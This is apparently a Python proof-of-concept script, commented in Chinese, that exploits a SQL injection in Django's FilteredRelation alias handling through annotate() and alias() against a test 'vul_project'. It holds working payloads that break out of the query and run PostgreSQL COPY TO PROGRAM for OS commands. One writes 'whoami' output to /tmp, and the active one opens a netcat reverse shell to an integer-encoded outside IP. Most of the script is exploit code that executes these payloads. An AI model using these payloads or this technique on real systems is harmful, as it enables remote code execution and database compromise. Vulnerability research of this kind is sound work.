import os
import django
import traceback

# 初始化Django环境
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'vul_project.settings')
django.setup()

# 导入必要的模块
from django.db.models import FilteredRelation, Value
from vul_app.models import Author, Book

def debug_queryset(qs, name="查询集"):
    """调试查询集的所有属性，查找恶意输入存储位置"""
    print(f"\n=== 调试{name}的属性 ===")
    
    # 重点检查这些关键属性
    critical_attrs = [
        '_filtered_relations',
        '_annotations', 
        'alias_cols',
        'external_aliases',
        'annotation_select',
        'annotations'
    ]
    
    for attr in critical_attrs:
        try:
            value = getattr(qs.query, attr, "属性不存在")
            if "COPY" in str(value):
                print(f"🚨 在属性 {attr} 中找到恶意输入!")
                print(f"   值: {value}")
            elif value != "属性不存在":
                print(f"   {attr}: {value}")
        except Exception as e:
            print(f"检查属性 {attr} 时出错: {e}")
    
    # 详细检查 _filtered_relations
    print("\n--- 详细检查 _filtered_relations ---")
    if hasattr(qs.query, '_filtered_relations'):
        for key, fr_obj in qs.query._filtered_relations.items():
            print(f"  键: {key}")
            print(f"    类型: {type(fr_obj)}")
            # 检查FilteredRelation对象的属性
            for fr_attr in ['alias', 'relation_name', 'condition']:
                try:
                    fr_value = getattr(fr_obj, fr_attr, "无此属性")
                    if "COPY" in str(fr_value):
                        print(f"    🚨 在FilteredRelation.{fr_attr}中找到恶意输入: {fr_value}")
                except Exception as e:
                    pass

def test_filtered_relation_scenarios():
    # 用户1：恶意输入，经过FilteredRelation处理
    malicious_input = 'contact_join."id", contact_join."name", contact_join."age" FROM "vul_app_book" INNER JOIN "vul_app_author" contact_join ON ("vul_app_book"."contact_id" = contact_join."id") ; COPY (SELECT \'\') TO PROGRAM \'whoami>/tmp/res.txt\'; --'
    
    print("=== 测试场景1：恶意输入 + FilteredRelation ===")
    try:
        qs1 = Book.objects.annotate(**{malicious_input: FilteredRelation("contact")})
        
        # 调用select_related前的关键检查
        print("\n=== 调用select_related前的关键属性 ===")
        debug_queryset(qs1, "恶意输入+FilteredRelation查询集")
        
        # 验证_filtered_relations中的键
        if hasattr(qs1.query, '_filtered_relations'):
            keys = list(qs1.query._filtered_relations.keys())
            print(f"\n_filtered_relations中的键: {keys}")
            if malicious_input in keys:
                print("🚨 确认恶意输入作为键存储在 _filtered_relations 中!")
        
        # 尝试select_related触发错误
        print("\n=== 调用select_related触发错误 ===")
        #qs1_related = qs1.select_related("noThisField")
        qs1_related = qs1.select_related(malicious_input)
        qs1_related._fetch_all()
        
    except Exception as e:
        print(f"错误信息: {e}")
        if "COPY" in str(e):
            print("\n🚨 在错误消息中找到了恶意输入!")
    
    # 用户2：合法输入，经过FilteredRelation处理
    legitimate_input = "contact_info"
    
    print("\n=== 测试场景2：合法输入 + FilteredRelation ===")
    try:
        qs2 = Book.objects.annotate(**{legitimate_input: FilteredRelation("contact")})
        
        print("\n=== 调用select_related前的关键属性 ===")
        debug_queryset(qs2, "合法输入+FilteredRelation查询集")
        
        # 验证_filtered_relations中的键
        if hasattr(qs2.query, '_filtered_relations'):
            keys = list(qs2.query._filtered_relations.keys())
            print(f"\n_filtered_relations中的键: {keys}")
        
        # 尝试select_related
        print("\n=== 调用select_related ===")
        qs2_related = qs2.select_related("noThisField")
        qs2_related._fetch_all()
        
    except Exception as e:
        print(f"错误信息: {e}")

# 运行测试
#test_filtered_relation_scenarios()

def comprehensive_alias_test():
    """全面测试alias()的潜在利用路径"""
    #malicious_input = 'contact_join."id", contact_join."name" FROM "vul_app_book" INNER JOIN "vul_app_author" contact_join ON ("vul_app_book"."contact_id" = contact_join."id") ; COPY (SELECT \'\') TO PROGRAM \'whoami>/tmp/res2.txt\'; --'  # select_related适配的payload,请注意，url传参的时候不需要用反引号转义单引号
    malicious_input = "id\") ; COPY (SELECT '') TO PROGRAM 'nc 2886860801 4444 -e /bin/bash'--.txt\"" # order_by方法适配的payload，请注意，url传参的时候不需要用反引号转义单引号

    print("开始alias()漏洞利用测试...")
    
    # 测试1: 基础alias()处理
    try:
        qs = Book.objects.alias(**{malicious_input: FilteredRelation("contact")})
        filtered_relations = getattr(qs.query, '_filtered_relations', {})
        print(f"✅ alias()接受了FilteredRelation")
        print(f"   _filtered_relations键: {list(filtered_relations.keys())}")
        
        # 测试各种触发方式
        triggers = [
            ("filter", {f"{malicious_input}__id__gt": 0}),
            ("order_by", [malicious_input]),
            #("values", [malicious_input]),
            #("select_related", [malicious_input]),  # 虽然alias通常不搭配select_related，但测试一下
        ]
        
        for method_name, args in triggers:
            try:
                test_qs = qs.all()  # 重新获取查询集
                method = getattr(test_qs, method_name)
                if isinstance(args, dict):
                    result_qs = method(**args)
                else:
                    result_qs = method(*args)
                
                print(f"✅ {method_name} 接受了恶意别名")
                print(f"   生成SQL: {str(result_qs.query)}")
                
                # 尝试执行
                result_qs._fetch_all()
                print(f"   🚨 {method_name} 成功执行了恶意SQL!")
                
            except Exception as e:
                print(f"   ❌ {method_name} 失败: {e}")
                
    except Exception as e:
        print(f"❌ alias()基础测试失败: {e}")

# 运行测试
comprehensive_alias_test()